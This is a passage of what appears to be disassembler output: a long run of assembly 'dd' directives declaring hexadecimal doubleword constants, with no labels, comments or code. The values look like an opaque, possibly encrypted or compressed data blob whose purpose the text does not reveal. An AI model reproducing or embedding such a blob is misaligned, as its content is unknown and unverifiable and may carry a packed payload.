0E6BCF40Fh dd 468F2380h, 681CCB94h, 0A0809C4Fh, 5A2471B9h, 2FB49458h dd 23C02A6Dh, 25DE5E80h, 465009E2h, 810F01E9h, 0E6DF606Ch dd 96716919h, 5B9DD700h, 1A4944h, 0F1BF5FF7h, 62FF123Ch dd 0CBD5D117h, 237221Ch, 851F03A3h, 0BF159608h, 529709A2h dd 9D670492h, 0B94D8CEBh, 2BEE9D33h, 1D699560h, 82491FBCh dd 0E1C8405Fh, 3FB1DB59h, 0BBF3C506h, 84409CE7h, 8B08C622h dd 57EB51F8h, 0B2169E87h, 53380Eh, 57CC1CDFh, 14AA9EAFh dd 1689FD7Fh, 8E48CB7Eh, 0CD7CDA12h, 0ADCDA440h, 0E88D12B0h dd 98FA340h, 7479BD31h, 0C91FBE3Ah, 9D4B3E28h, 0A80C2961h dd 0AC2100CEh, 0BB668077h, 0E9248626h, 7AB93F5h, 0D5CB78h dd 0A55154CDh, 243DBD2Bh, 97DBB788h, 1225861Bh, 0BF5CC6DEh dd 0ACC0F0EDh, 1252D6FAh, 0ABB0C849h, 7EAC1D34h, 0E5139CD0h dd 4A3EF20Dh, 6E3A63CDh, 0E8387C02h, 0DDF88651h, 206407FFh dd 3BED2E05h, 36C062DBh, 0BF9ECFDCh, 53D9970Bh, 0A8F19B2Eh dd 74593499h, 0AC1D3FB0h, 6FB4F689h, 0CDB74594h, 8A474037h dd 930B56CAh, 825FCBF9h, 242C3536h, 44C7B9B7h, 0A898969Eh dd 0BB0C90BDh, 50280FDEh, 0F8D658B7h, 5C098745h, 431990D0h dd 0C2B43A6Bh, 0E2FE8A05h, 49F381E9h, 5C5B0218h, 0EB4C69C3h dd 0EE98D10h, 4FB66802h, 0B2555318h, 40FF7Eh, 4C3F4924h dd 31A6DE07h, 0F04F80E1h, 0A3BE4DCDh, 0D9AE640h, 0BE980009h dd 0DFC1A589h, 7F5816D7h, 0C4BD2581h, 0A3B7B5D7h, 9AC66F92h dd 9C920E8h, 4AB73A90h, 8D9D4242h, 6B2F1800h, 162384h dd 8A3E0B60h, 0B55A29DAh, 976156E4h, 1087366h, 2524259Dh dd 0DA87E65h, 14D20570h, 5D8BB8A2h, 0F693F4h, 0E795BF38h dd 52E954DEh, 0D8957B97h, 8D0062A3h, 4420C612h, 0B13B89FCh dd 451D8088h, 48066027h, 7BC9B401h, 5C3058ECh, 0E4A03A2Eh dd 86E067A6h, 38902B22h, 7EF9604Bh, 8EB14380h, 14976157h dd 679F62AFh, 4EE6D88Bh, 6C68721Fh, 1B45F9C3h, 9B6BB8C7h dd 0DA01223h, 7C0D2CA7h, 7CFE23A1h, 0BAF0D286h, 0A0389709h dd 9D09F381h, 7105EE76h, 0CF80840Dh, 0D38FB8F5h, 58375986h dd 0BBC0A950h, 3D3EA524h, 3CD99748h, 0BCD45D34h, 88860982h dd 0E988CACh, 21007ABEh, 40AEDBA0h, 77F1C8h, 0F670412Fh dd 0B5FFA1FBh, 601C448Dh, 2B151C8h, 715A9A55h, 9D5C8987h dd 70F8F369h, 3207C2BDh, 0FC377709h, 81B58950h, 45BA9717h dd 0A155F385h, 0A1342B4Bh, 0F2ADD70Eh, 104A1E7h, 281C71B5h dd 4E79081h, 8312B7F2h, 0BCECFDC2h, 49F10742h, 0F28D34ADh dd 377C7D47h, 0AC20500Ch, 0B395D209h, 15EC7F63h, 95D5F295h dd 37574A92h, 0FBD0120h, 60655983h, 1F4519F4h, 946429F1h dd 8BFB97F8h, 4473ED0h, 0BF0F7B67h, 421E99D8h, 0E020111Ch dd 0C72824h, 127BA7EFh, 2E50D514h, 6010F806h, 209CCE49h dd 5F7125E1h, 912835BFh, 0A853801Ch, 3AC2A27Eh, 0D196C9F1h dd 40D61331h, 0C7BB504Ah, 30499299h, 0FFC264B1h, 5B04F265h dd 78F60900h, 3E040D6h, 56D165A8h, 83D03928h, 914BB490h dd 0E74C688Dh, 0F3D00287h, 0E28AEF54h, 47514B5Ch, 0C91AC80Fh dd 0A46A715Fh, 96260A32h, 0AFD7805Dh, 8C83941Eh, 6822C500h dd 0F8893B3Ch, 0EA983825h, 507BCC01h, 2A96DA8Bh, 2760A705h dd 8DB8435h, 0CA5D7CC1h, 1A8C3AEFh, 901409BBh, 6571592Dh dd 78C9E3A6h, 457EAA19h, 0DDDD10B7h, 0F1E91A56h, 4D0045E8h dd 0A0D01E93h, 175426B0h, 84D88A70h, 0A24EAC55h, 0BF662041h dd 8C4E89Eh, 4EB816D8h, 0C64EA0D6h, 3CDB2AE1h, 9F8E94C0h dd 0C75AD525h, 8DEFD534h, 373D2B27h, 80D89A2Eh, 11F9A9EEh dd 0E9FD01CFh, 2D850987h, 7F80040Dh, 7E5B3A71h, 0F411246Ah dd 7A8F2D8Dh, 0E2EAC105h, 0CEDA025Dh, 5D8D0C9Dh, 8B917643h dd 4A9141C1h, 309D2B56h, 0F5A8F629h, 85E1BC0Ah, 350884DCh dd 0FC901325h, 91FA80C6h, 224874h, 5A03A10Dh, 61393360h dd 2E138E4Fh, 2C82DE13h, 6FA0230Ah, 9C3BCA0Fh, 0A76EA57Bh dd 855114A8h, 0FF37AAA7h, 0D357D007h, 604E5F00h, 20119053h dd 5E480EB5h, 0B82BC0CCh, 0F40DE0Ch, 530F0D18h, 0C145FF23h dd 79111B98h, 61683801h, 814FBB66h, 0CDC0495Bh, 0BC68A25Ch dd 8BE1EA50h, 719D609Dh, 40618130h, 1F5026D2h, 526E6BEFh dd 27C43701h, 9280D209h, 0C1E1F962h, 33B86929h, 0AB0AD70Ch dd 4EF3FE1Ah, 0E49BCFBh, 81506402h, 5D2E38D2h, 8F3755EEh dd 502BA509h, 0AD40D309h, 3AFEB859h, 0D3019AD4h, 950929ACh dd 166F3DF1h, 1A89E19Dh, 0D6EAF331h, 0BC6625DAh, 4A856397h dd 728ECD35h, 0E2430555h, 9000F53Ch, 8F57AC81h, 6A3902CAh dd 0D1FF4E58h, 12DC787Ch, 0E2FCE294h, 0EF8D898Eh, 0AE6D6068h dd 3D7652A2h, 6AF99C09h, 0DC197602h, 0D4C6CE00h, 8DF82122h dd 4096B420h, 99BA590Eh, 251AE705h, 1CC7FEE2h, 50472E14h dd 16071951h, 45B752Fh, 0B6240485h, 16FBE53Bh, 0E9456050h dd 16970E17h, 5030209Ah, 0A6F01097h, 28F80116h, 2FEAE15Bh dd 556E7A3Ah, 0ED778F02h, 0A85CD5BAh, 0D4D65EE9h, 20B07159h dd 84905A08h, 128CFE6Ch, 4470055h, 44DDE7E2h, 0AF0072DBh dd 0D6C2B983h, 26EFA82Ah, 25205690h, 0B95BB6A4h, 0B230925Ah dd 175B208h, 9CFC0949h, 2E23CD6Ah, 1923476Eh, 50BC0E00h dd 972E56EFh, 0D9314319h, 0FE976A59h, 0DC800FD3h, 5D8D2943h dd 3F2CC9E5h, 23CC58D4h, 29760Ch, 0E6104E24h, 0BAFF1AC1h dd 0A74BCF7Ch, 0B1FA5E98h, 12D989CCh, 0F65CB077h, 0F4ED0061h dd 3260D337h, 7620EB6Fh, 0FAB702B0h, 71E470E6h, 0D39A525Ch dd 9C7D639h, 0E47C1F35h, 3458E45Bh, 4395C8B6h, 5C118A26h dd 0FA8A4263h, 9D33BEC0h, 28C2D54Ah, 2C675CF5h, 62FEA522h dd 4AD98E6Ch, 89EAC12Bh, 0D1640718h, 13D659C7h, 0C381042Dh dd 0EBE92F0Ah, 0AA6DD6CCh, 17061A6h, 0BD295982h, 315C1195h dd 680C44Bh, 417EB947h, 0A7961AB1h, 14206925h, 0CBDB315h dd 65F18D89h, 0B5C0B9E9h, 7E34BB38h, 57A532AFh, 28A18C0h dd 227AE4B7h, 0A5F22384h dd 440B1BA3h, 0CB0C79BDh, 0E6C45E4Eh, 28D201B9h, 0AEE87B55h dd 8A1B602Eh, 659C1EDCh, 0E2B200DEh, 0CD927595h, 0B7A0D45Bh dd 0CFC90701h, 0A61BF189h, 0DE73A651h, 0BB0454E2h, 24FE795h dd 1C262B8h, 0DF48D98Dh, 0A5AEFB9h, 9900577Ah, 7563F7FEh dd 0B9124CF0h, 0D1F67305h, 0FC6D9516h, 60FC8145h, 57100BE8h dd 39009B49h, 0DCFD68B9h, 9D7C2F3Ch, 8B5FEE40h, 0FC61C716h dd 92E076B6h, 9F07881Fh, 806A31BFh, 26BA3A40h, 0C02B2703h dd 0CE7078D3h, 0DE7EE1BAh, 1D0C92Bh, 95BE3A9h, 66983D2Eh dd 56A7F09Bh, 0C9B0736h, 54E78052h, 577EB95Bh, 5F9BA022h dd 58789D53h, 9521F520h, 1253AE1h, 9B3C5F61h, 31391CD8h dd 9566CE95h, 9B00C837h, 0B643CEE8h, 8914FBDh, 0D6250E11h dd 5BF909A4h, 755AB471h, 0A49E3966h, 8B5104DCh, 0C139A48Eh dd 1FD1Ch, 0E1E5B529h, 78E0382Eh, 0BDBA9497h, 32105241h dd 4D5698F1h, 0A6CC9508h, 0A5E9719Fh, 1464C56Dh, 30E72D63h dd 17ED9230h, 0F5403394h, 1B47A2h, 0C77D3FD9h, 21C15EAh dd 0F3D6618h, 8023B1B2h, 0F1A2E1FFh, 60808954h, 0CC38C281h dd 0F0264EF3h, 14976119h, 4732CEBh, 6500F6F7h, 53EE074Eh dd 0B38B0F98h, 652D1CE9h, 541112E7h, 947444h, 456B725Fh dd 0D8A2EC65h, 0F427C902h, 5E7F4F41h, 0A4FD5126h, 6016C3A9h dd 9CE110E6h, 9E872E57h, 4923FE0Bh, 820F2082h, 35CEE92h dd 70D7FB25h, 0E00114BFh, 0BEB2733Ch, 0C4507263h, 251E5EBBh dd 23E960A9h, 0A2273BDBh, 45BE66B1h, 0F17D812Fh, 0C5312A61h dd 15E8BB53h, 5B3525D1h, 35A5EF5Bh, 59013F0Dh, 8F9DA378h dd 0DEC12A90h, 0CE287739h, 0B851FD4Bh, 0B8251A58h, 0F0823E76h dd 68000A01h, 4F7B9BD5h, 0EBF2C850h, 0E7FE0901h, 2C3A90A9h dd 309D1F30h, 0E68A3CC3h, 955F0Ch, 64982AC5h, 78EDB350h dd 0E009879h, 59F0A8E5h, 0B3870FC4h, 23A53884h, 9A95884Eh dd 0B0217886h, 31024041h, 72BCBD7Dh, 0F7416AA5h, 0D0801BB7h dd 7F49636Bh, 0EEB70902h, 6371B903h, 0AF84B725h, 6625BFFBh dd 0BE09645Dh, 0BD76AB0Ch, 996BBFF2h, 37F5E9B7h, 6B0901EDh dd 2C9E3AAAh, 0C8380B9h, 919393Bh, 0D476C12Ah, 840098F9h dd 6A98A556h, 800F3731h, 0B95B0417h, 44B9D342h, 400016A8h dd 0BEA7E20h, 0C403C99Dh, 0E90446DDh, 0C5B8DAh, 42AF8BC0h dd 0F0C4726Eh, 78C8505Ah, 2DB33B5Eh, 0E1931E83h, 69B86632h dd 5007DC5h, 4B7BEE7Fh, 6A8A0930h, 2D6D6ADEh, 0F5700BFBh dd 0E5A00C9h, 0FF44F157h, 8A25D8A4h, 0B77BC6DDh, 0D416B337h dd 8668B6C0h, 366927D5h, 0FCB9445Eh, 61F87E12h, 0D679CA41h dd 0E64C3676h, 907A0557h, 0BF27E025h, 12293E08h, 6B6CE55Bh dd 0D7A049B7h, 2C7D214Eh, 0B501C404h, 91202D1h, 6864605Ch dd 0E25E13BFh, 40D05652h, 0CA353CA2h, 543E7725h, 0DB874295h dd 592F00D7h, 3B61585Ah, 9ED8BB90h, 0D3812C00h, 10E37F13h dd 13E0E9Bh, 9DBA60D7h, 0F939614Ch, 169754B8h, 78709386h dd 1F00D003h, 171AE926h, 759D2335h, 0A91597E5h, 66018C4h dd 500287D2h, 0AD9D8B80h, 0BE4CD532h, 2C8F0F1Ah, 43DC5C0Dh dd 81B81427h, 4F00CE1Ch, 0B5419A22h, 0B62E388Fh, 3DEC40BEh dd 0A0007B4Dh, 0B8BBD635h, 1B2DABCh, 8A5F9C3Fh, 0D6EA97F2h dd 0CB75A95Ch, 7A035E51h, 0F80A2184h, 9D0BFD91h, 6600A937h dd 0E0EE02D4h, 96424C16h, 0B2A6DB14h, 0F80056CEh, 5E2C53E2h dd 34CFD201h, 655C1E67h, 22728B2Bh, 41E4804Fh, 0E6179107h dd 158273Ch, 4E292520h, 787A9B00h, 9D016D63h, 7F7D67E9h dd 0C870CDD6h, 0EFA29D8Dh, 1B43FEBBh, 0AC9BD48Dh, 47F8D9E4h dd 0B72E132Eh, 9DB3E056h, 1205775Fh, 0C7E58529h, 24699A4h dd 2B8A8F83h, 91A13757h, 80988019h, 6139E4FDh, 69B5F27Ch dd 50779E12h, 4ED2116Dh, 2B231DCh, 1F5AB0C4h, 1AC465C0h dd 0EC603E8Dh, 0FC034B1Ch, 0A79C9531h, 803FAA3Fh, 0F3EE7BDh dd 0CBD7FAh, 3DB1494Dh, 0EE035520h, 1ACC774Bh, 0B990A057h dd 0D5C5DD0Bh, 2B82CDDEh, 6D5C49BDh, 7BA974B7h, 6A14AC01h dd 0BD8A006Ah, 0E518A81Dh, 4BBC325Ch, 7ABF0B94h, 1A660EAEh dd 9C35C1DEh, 8A88506Dh, 11203FDh, 60D440Ah, 7307253Ch dd 0B8387ADBh, 0ED0765ACh, 60B4A270h, 0A0595312h, 0AF0F1976h dd 0D1FB00C6h, 61C2342Ch, 0F31D8166h, 5A4113Fh, 6ACCE160h dd 0A4F0029Dh, 14DC55EBh, 0D12E7D5Eh, 0F5E504DCh, 0EE03BC33h dd 7CB8EB24h, 2AEF8061h, 7B322FB2h, 49765EF8h, 859137F5h dd 0C1851272h, 2AF12721h, 73802E9Eh, 0D380339Ch, 63C84E4Bh dd 1EF7293h, 98ED1DA0h, 0D40C7D22h, 320919B1h, 0F8F385CEh dd 9A5F4E33h, 0C01BC8A2h, 2178F75Dh, 0D1CC360Bh, 2F83D61Fh dd 90DF461Ah, 6F40B8h, 0B820AA09h, 1EDE222Bh, 3836B502h dd 772CC23Fh, 2AD484h, 0B353505Bh, 24F39119h, 1700F4ADh dd 71A287C4h, 52E44BFFh, 0FC257BBFh, 3DD787EAh, 6C600BC8h dd 0B5C164D6h, 8E2B0C0Dh, 8AAD4BEFh, 66B06846h, 807BF83Eh dd 0E2C20D02h, 0F8967645h, 690E958Fh, 1A2C16F2h, 0BF5FE806h dd 0B41D3DC1h, 25FE4195h, 2FA5C74Eh, 76818834h, 0EE042F8Dh dd 0E401B98Dh, 8E621979h, 93B31693h, 3E3E60A9h, 5FB744E9h dd 0BD3BA0FFh, 9FDD1C4Bh, 0EA2D246Bh, 10212080h, 93690033h dd 0FB1F3BBAh, 0B696BE18h, 249ADA4Fh, 94BC5FEAh, 32746A2h dd 0F2B1C9D4h, 0CC92342Eh, 0EF007902h, 9EC10299h, 986244h dd 0DA1DA7F1h, 9CD61C29h, 0C65F38F6h, 65A2B9B7h, 5C8DE25Fh dd 0AED85A99h, 0CDBD8915h, 0E3E9078Bh, 0B719FFF2h, 82AA9C3Dh dd 458D09A3h, 0C3A5B8FCh, 3007B283h, 951A0960h, 527925F9h dd 38FF071Dh, 0E069A9BEh, 7DDD051h, 0B4C2F709h, 6B295661h dd 60503FDBh, 39752722h, 0B5C31A7Eh, 56856801h, 2902D62Dh dd 8B463D67h, 0F4A65CFEh, 0EB3EAB01h, 3F2EE1B7h, 9589C574h dd 9F807EC4h, 1F4A607Eh, 0F4DF4881h, 9EDC13Ah, 37B8040Dh dd 29BCA04Dh, 7D96C705h, 0CEE4A018h, 509039DDh, 0D0F70277h dd 6A4269C7h, 850B375Fh, 4FD5449h, 2512C9B9h, 5E29F992h dd 0C173E90Ch, 0E27A6170h, 0D4B404A5h, 90698589h, 199D0BBFh dd 33DC134Bh, 0CAD14BFFh, 0CFE42F01h, 674A613Ah, 0C02F28C4h dd 0E6D8B949h, 25BB3B99h, 6A130C3Fh, 0B828BD02h, 0C5D8022Eh dd 0C0D07E66h, 0A320A756h, 5E321125h, 99C6C03Ah, 0CDE0F1DBh dd 0D28ED100h, 82FDFEDFh, 7D100A0Bh, 0F1FFA2h, 0B3BF5352h dd 254EA321h, 0DA41E9F1h, 0C12BEAC4h, 6B6160D8h, 0DEF0E0E6h dd 0B70483ADh, 0FC8F39E9h, 95D56AFDh, 620249ACh, 5EDF72ABh dd 5025CE3h, 828B1CC9h, 89051687h, 417F908h, 0BC0CD9E9h dd 6088B158h, 0E9203A06h, 0BB66090Bh, 347BF40Ah, 52BEF3AFh dd 93B4075h, 0D24D59B5h, 0DE8B900Fh, 0F5FBD2DCh, 76CA2A3Ch dd 0A4D0B64Eh, 0E185C5AAh, 4BB26CF1h, 0A64B318Ah, 0AF1AA058h dd 0E6D74A9Bh, 7A734972h, 70AFD395h, 650526F3h, 19E1BD33h dd 5E55D522h, 2549424Ah, 59A58909h, 0F6F99203h, 1571040h dd 0B1B51073h, 78B02524h, 31792025h, 6070E602h, 0A1119529h dd 71E461EFh, 75AD61EAh, 0F6812780h, 152F7D20h, 187079B7h dd 0EB76127h, 0BA9AC895h, 4020219Eh, 2989B7BEh, 7785F505h dd 8100B6E2h, 0AC8A597Eh, 6A00B616h, 804340EFh, 0B50EA1BEh dd 71855EC8h, 0EF4B0743h dd 8F01D48Dh, 0FB052F81h, 4AB0B34h, 82DF80B5h, 79E8D127h dd 0F0822ED5h, 618A89B7h, 0D2EF242Fh, 53002AF6h, 0D6AD9D2Bh dd 7A01C70Fh, 76093C4h, 0B16E8800h, 0A513FDB5h, 5368C14Bh dd 0CDC1E84h, 2164BD5Bh, 651711F8h, 0BB4B41BAh, 7536CAE9h dd 12CD8C38h, 8256FB95h, 8719D23h, 22BE4657h, 605E5F84h dd 0E3400220h, 0AFF0C2h, 5019EFF9h, 0DA5F2C62h, 870730Bh dd 2DDD06D7h, 0D6D20F8h, 0BF0F590Ch, 0A1A5CEC2h, 4273FE3Ah dd 0BBD29200h, 9D1AEFE4h, 7F1C601Ch, 0ACF0B84Ah, 5B979220h dd 0A92200F6h, 0A13BD485h, 98F0E100h, 0F1D87ACFh, 4B42FCE7h dd 609DD823h, 800904F1h, 6A84E151h, 26D6F6Eh, 9C7087B2h dd 0D13A579Eh, 135052FBh, 208500FDh, 8BB8270Dh, 0C14AB9DAh dd 9BEC35ADh, 80323980h, 0C5259501h, 9D84E42Eh, 0E1704AF3h dd 0FA8E3BC9h, 0EFBA492h, 2B214847h, 961D99BDh, 14A6FC5Eh dd 0ED87AE3h, 94481399h, 53212690h, 18558541h, 0E6C0C507h dd 7DA6E01Eh, 129CFC68h, 0E802CEF9h, 7B1725EBh, 89CD253Fh dd 0D66656ADh, 72461501h, 365B376Ch, 0AF1F342Eh, 160E7E08h dd 2EC69952h, 1C239B6Ah, 0B12FE700h, 729C552Bh, 8A05138Dh dd 36F5DDF8h, 9A2EB0ABh, 0B5311A45h, 82E149F5h, 0B82D2F03h dd 61A8647Dh, 19406504h, 0C2BB5093h, 710910D5h, 8D0970B3h dd 731F192Dh, 0F6F6D1EBh, 48BC6BE0h, 0A5201A39h, 412AD81Eh dd 1142200Dh, 0B8382FE3h, 8A048A96h, 0B86BA0EDh, 0ED0B3DE1h dd 5CCCA07Eh, 8705397Fh, 0F87EA222h, 23606BAFh, 908E011Bh dd 42710269h, 98D774CAh, 12C38195h, 1282ECA8h, 9821EF08h dd 2669E1FFh, 0D9074AB8h, 4FFCA228h, 0B0BFFB03h, 976E1480h dd 0AD69D694h, 182D035Dh, 0D808123Ah, 84B1F232h, 0DEBB03B3h dd 0E2F08984h, 51BC5C4Eh, 55B31051h, 9F189D60h, 0E404EB81h dd 5079D372h, 0FAD0EFFCh, 25223110h, 5DB3E25Fh, 12C072CDh dd 3E357B60h, 0EA8977BFh, 0D078A5D3h, 0CD2DEB98h, 91C87103h dd 8DB71211h, 16AC66ADh, 31CD128Ch, 4DB8F788h, 80EAAC3Dh dd 0C9831911h, 203CFD8Ah, 0EDBC0D4Dh, 61AFDF99h, 4F4430B0h dd 25318B04h, 0A079B812h, 698A0F56h, 0B40E1702h, 0E1FB502Bh dd 9B13E102h, 4C985728h, 3E25BB66h, 25407B40h, 78C015CDh dd 4A19AF08h, 29AECC90h, 1CB59D12h, 0E913C2F7h, 1A7BEF96h dd 0DC80B103h, 0F9F08FD1h, 7112CDBBh, 0E0F37353h, 0F8A5AA51h dd 9455BFC2h, 0CDF94BFAh, 0E2860098h, 2EFB89BCh, 0B301E36Eh dd 94F932D2h, 0A7FD20C4h, 92572249h, 0C04EB4FCh, 2EB99DF4h dd 48585680h, 4617E461h, 0E032B604h, 46BDB0Bh, 3175AA4Ch dd 4854E140h, 0AEB6564Ch, 47975B97h, 8A23F87Bh, 78945B96h dd 2505B537h, 0B70EC33h, 17F108AFh, 1A636803h, 59B7B9F2h dd 9C31032Fh, 0BDCDED19h, 241EB8A7h, 126B60B6h, 2DA614BFh dd 8B469126h, 0D75E8D61h, 41646D4h, 0FC05074Bh, 290AA582h dd 0F12F4471h, 0BF5000B1h, 5E89EA90h, 2FF721E5h, 0DD82E69Bh dd 14DEC695h, 58B71E13h, 31B8084Eh, 7E9ABB01h, 9B6B63D5h dd 0F7BFC55Ch, 89D80480h, 8ACBBDB5h, 0E7D91225h, 0D404AE5Ch dd 0A8EA7001h, 0B1A539AFh, 0F1CAB13Fh, 45382E02h, 912AB111h dd 21E91AC9h, 8A164317h, 591DD710h, 1A0B5DD2h, 766E8BD7h dd 0A28558C5h, 2C34FAB1h, 0D792892Ch, 0F100E021h, 0F3CC7A2Dh dd 5D9504B8h, 5C610917h, 3B7D4035h, 5F059F68h, 55DA7197h dd 0CD7701AFh, 2A314EE7h, 1D23936Bh, 705D9200h, 9628DB2h dd 6B8C89C7h, 0F5A0E271h, 730E9925h, 7992A513h, 92526775h dd 0EC3E36Bh, 565096F8h, 21E061A6h, 91B83BFh, 0C2920A66h dd 84E2FB1Fh, 0B866F380h, 0EF4ADE7Ah, 4DAD5B57h, 0C0A0E0A3h dd 0CAFE0E9Ch, 12869B4Ch, 8FE71EFDh, 0FD7FC54Ah, 18EEC28h dd 0F8B072A2h, 3EEF85B2h, 84F9CEC3h, 2D950102h, 7B614149h dd 6B1D97A0h, 88D4112Bh, 3CB8D8C4h, 0B905F04Fh, 122B0D45h dd 0B894A91Fh, 76520225h, 873788A7h, 0A793760h, 93BDCE95h dd 95C778D1h, 0F064F84Fh, 0E423A4C2h, 24C52535h, 0CAA8E773h dd 0FB189527h, 103AF083h, 56DDB249h, 25313B28h, 6E968BBDh dd 534DBB3Ch, 0BFB3859Fh, 88080E05h, 35BBDC80h, 4ADBB277h dd 78E257h, 9E853B38h, 97CFEC20h, 0B2758632h, 0C84C40FFh dd 8C1B4BA0h, 8C6E0F16h, 97B91223h, 0A5D3F6E5h, 0BD40A6ECh dd 2900E31Dh, 0E89AA5B5h, 8E0F9612h, 53576291h, 804F5828h dd 4FBAF14Dh, 7A4BF704h, 0E5819661h, 4A0A18C5h, 97F09AF6h dd 0A604EF20h, 0C6DC9F6Fh, 0ADC509B9h, 23366E2Ah, 50351814h dd 39970621h, 1AA5FC08h, 5431E2FFh, 125751F0h, 0ADD960h dd 85E0932Fh, 0B00027D5h, 6DE89007h, 4F8C8284h, 2517B231h dd 2505C661h, 0E65C810Fh, 2980F964h, 97C6CEF6h, 84D0FA7Bh dd 56BA05EFh, 49F58D29h, 9A5C5F98h, 80D3357Ah, 8518481Ah dd 0BC03AADDh, 8952712Ch, 6820C29Dh, 0B5EBE952h, 0E475DA62h dd 594B0096h, 3EBAEC1Dh, 0EB1780E4h, 0E6EC5F26h, 83088714h dd 33FE8C89h, 801A5969h, 0E4E547BFh, 0A9A10104h, 30FE0510h dd 0AF94DAEEh, 0F275F500h, 0CF57EC68h, 0E264B563h, 8112F920h dd 202F7DF0h, 8745BFCBh, 0E7CC535h, 7A6241ACh, 0BDFF6F2Dh dd 0B17112B2h, 83586CC9h, 0B8F5CC9Ah, 0B0CEF66h, 9261D547h dd 306D30F7h, 65CE900Bh, 0AA5FE1A9h, 1923A53Fh, 5F5EA300h dd 16B286DCh, 897DBD2Bh, 73CF0CBFh, 8304B83Fh, 0F9CB6827h dd 8120035Fh, 982D9FC7h, 0D2CFADF4h, 20A732B6h, 2D03C2F4h dd 0EF0481FCh, 602E3E37h, 8D8C9ACh, 8B25D1FFh, 11CD65DAh dd 0CCF15AC6h, 4E6A2D34h, 0E96E02h, 0B9CC1ED7h, 2A33A485h dd 98B965BDh, 20E520B8h, 32D390BDh, 46F0085h, 4557F24Ah dd 252586A9h, 13CB705Bh, 0BD501498h, 0FA8B053Ah, 26AE310Fh dd 0A1920E7Ah, 5061F82Fh, 0DCA1BEC6h, 9821709Dh, 0F6CF1243h dd 1B7F3035h, 3100281Eh, 11A7459Dh, 0B1EAB36Dh, 0D47B497Ch dd 1015C50h, 0F33FAFFEh, 4181BC95h, 10F05C0h, 0CE6A2AE9h dd 6F3710A1h, 0B1953105h, 0FE7AD03h, 0B27583C2h, 0B33AB1B3h dd 40F48BAFh, 71A7A648h, 41BF67E2h, 40688974h, 344CBB09h dd 0D3662027h, 0D238F887h, 62F65909h, 8D6A8522h, 92413DE9h dd 9E2515DDh, 0AFDA352Ah, 0A1C031DBh, 8A6FAB05h, 2CC8625Ah dd 7E7900EFh, 9B418801h, 8B05FFB1h, 942A4A4Ch, 511F0E80h dd 0EF89955Fh, 467E57FCh, 79BF2514h, 0A730029h, 37621D7Fh dd 0AB070113h, 0EFD9104h, 1725B09h, 47B7CF9Dh, 0E72B8069h dd 0BC04FF0Ch, 6ECB8053h, 74E2A6B0h, 0B58912E4h, 0E249AFCDh dd 7842DB6Ah, 9C5C88D6h, 18FE00D2h, 0B5014491h, 1C0E5CE1h dd 0B31246D5h, 222AE656h, 7D45A077h, 40F4822Fh, 308C4B38h dd 252442B5h, 7729C2FCh, 8E7F410h, 0C7502400h, 0BAA9C107h dd 4C3104C9h, 0AC8F0F60h, 36B292E1h, 80163B22h, 1830BCD7h dd 8FF6DCh, 5D259773h, 2A605B39h, 177F23Eh, 58D8AB80h dd 44737E0Ch, 75115F0Fh, 0E1FB36E0h, 2802350Ah, 7A13F7AEh dd 27645C5Bh, 6BA2D02h, 2E4E55h, 9C41238Ah, 0B32535B9h dd 74E5A216h, 9D5D350h, 0D56AB6F7h, 1631F4F1h, 0B57A49CBh dd 753A607Eh, 6889184Bh, 3CB12F10h, 4B470052h, 0EEE72D8Ch dd 0A8A04473h, 5B801925h, 0A3C84F2Bh, 11B30510h, 40A8D18Bh dd 8621A880h, 0E700626Dh dd 25FD735Dh, 944128Bh, 167CDE6h, 5BDAC083h, 0DE4048Dh dd 74E90B2Ch, 0B0FF6555h, 778B222Fh, 84464BDCh, 7F73FB71h dd 32AEBD4Dh, 0F2200A10h, 22147A8h, 0B2A0C26Bh, 845CA1DDh dd 0B7060D91h, 0F4AE9F7h, 0A109A998h, 0DD6F133Dh, 35BB7498h dd 44AA6D12h, 302A79E2h, 20F92741h, 9D0685E5h, 509B2B31h dd 4BFE26A5h, 21F4898Bh, 47404D6h, 120D05B6h, 0A7124AB6h dd 0E8E7B9F4h, 0DF5C0ED8h, 0D4209218h, 7AEB819Eh, 3C86E31Ah dd 0C042F552h, 2D4647FDh, 3B40CECDh, 0B10C084h, 0C40807D8h dd 18A93002h, 0A0AAB904h, 9D1409D2h, 84821A51h, 3CB92B01h dd 0A881A992h, 12B10784h, 1BFCCC02h, 96C0C5CDh, 12AF56FEh dd 0A2D98A27h, 0BFF85FCEh, 0B7BAE144h, 0EAC2A2EFh, 10087441h dd 29DB4A30h, 80519A4Ah, 0A6E2BDA1h, 467E0564h, 812B1AD5h dd 70FE624Eh, 244119A4h, 3199B32Bh, 5F57C6BFh, 2C2C262Eh dd 0EE26092Dh, 0E23A9501h, 4AD4ACF6h, 0D2D6CA3Eh, 0BFB867A9h dd 0E304DD7Dh, 34875A6Ah, 0EB8B5BDh, 12B80100h, 31E37D03h dd 23ED258Dh, 4111EA67h, 0A1850904h, 630F2D16h, 0C6C518D6h dd 925FAD1h, 48E76672h, 12209D89h, 82E1FF27h, 56B5E379h dd 155C5195h, 2ED8F3FCh, 67259A3Ch, 1099652Dh, 8C17FC5Eh dd 38099AE2h, 0FE820F13h, 0A1516922h, 9D21F446h, 0B2E2704h dd 0C307ED60h, 0BF9D66C0h, 0ACA07112h, 9D030C60h, 2B5909A1h dd 95F9855Fh, 844AED4Ch, 2891A997h, 38BE55D5h, 0E9E1824Bh dd 65765624h, 124DB229h, 20BE5090h, 0CB742AA7h, 3FB8800h dd 33920B34h, 2D5C79D3h, 0BAE91B52h, 0F26E2E90h, 2D169500h dd 0ACC91F59h, 445A5F0Bh, 0B932DD6Ah, 8A506D54h, 9CE697DEh dd 1479851Eh, 0AF2519C0h, 3AC2B03Ch, 0B204CC67h, 0AC207BCDh dd 6220D270h, 0A0586FB3h, 0BE2231D4h, 0C203E5B6h, 52562AC0h dd 40EAF8E9h, 0B038E912h, 0FAA94F01h, 0BF26C9BCh, 0A53B99BBh dd 5C35711Bh, 0AF015924h, 0B3A3900h, 0BFB58F68h, 418EFE1h dd 9D827CA9h, 45550B3Dh, 0D6D0A4FAh, 0EBD95F00h, 4BF17428h dd 7CB12E06h, 12A509CCh, 6EE8445Ch, 332613D6h, 920E40A7h dd 0BB3BCC40h, 3C6FC904h, 0DCDE8901h, 0EE52FA84h, 7B5F4A09h dd 0D672A425h, 46708764h, 0B19D3781h, 0B0964D92h, 28EBD9B8h dd 8D890905h, 553D629Dh, 1991EA35h, 0A841B780h, 0B82D63CCh dd 0C75189h, 0A3CDD368h, 0BD965744h, 9C671240h, 16DBE6E7h dd 1C2F6977h, 0B05B5292h, 0CE122CCBh, 0A38944BCh, 564E66Bh dd 0CC7D62B3h, 0A81C3DE2h, 0B6730297h, 325783EDh, 0D2038907h dd 